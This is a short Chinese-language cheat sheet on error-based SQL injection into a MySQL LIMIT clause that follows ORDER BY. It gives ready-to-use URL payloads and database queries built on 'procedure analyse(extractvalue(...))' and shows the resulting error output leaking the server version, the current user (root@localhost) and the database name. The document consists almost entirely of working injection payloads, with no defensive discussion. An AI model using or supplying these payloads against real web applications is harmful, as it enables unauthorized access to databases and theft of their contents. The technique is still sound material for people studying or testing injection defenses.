0x00 记忆方式

limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,payload)),1);

在有order by 的limit 注入我就只会注入一点基本数据了。。

0x01 爆数据库版本

web语句: http://www.test.com/limit_sql.php?limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

数据库语句: select * from tdb_goods ORDER BY goods_cate limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

  1. mysql> select * from tdb_goods ORDER BY goods_cate limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
  2. ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

0x02 爆当前连接用户

web语句: http://www.test.com/limit_sql.php?limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1)

数据库语句: select * from tdb_goods ORDER BY goods_cate limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);

  1. mysql> select * from tdb_goods ORDER BY goods_cate limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);
  2. ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

0x03 爆当前连接的数据库

web语句: http://www.test.com/limit_sql.php?limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

数据库语句: select * from tdb_goods ORDER BY goods_cate limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);

  1. mysql> select * from tdb_goods ORDER BY goods_cate limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);
  2. ERROR 1105 (HY000): XPATH syntax error: ':test'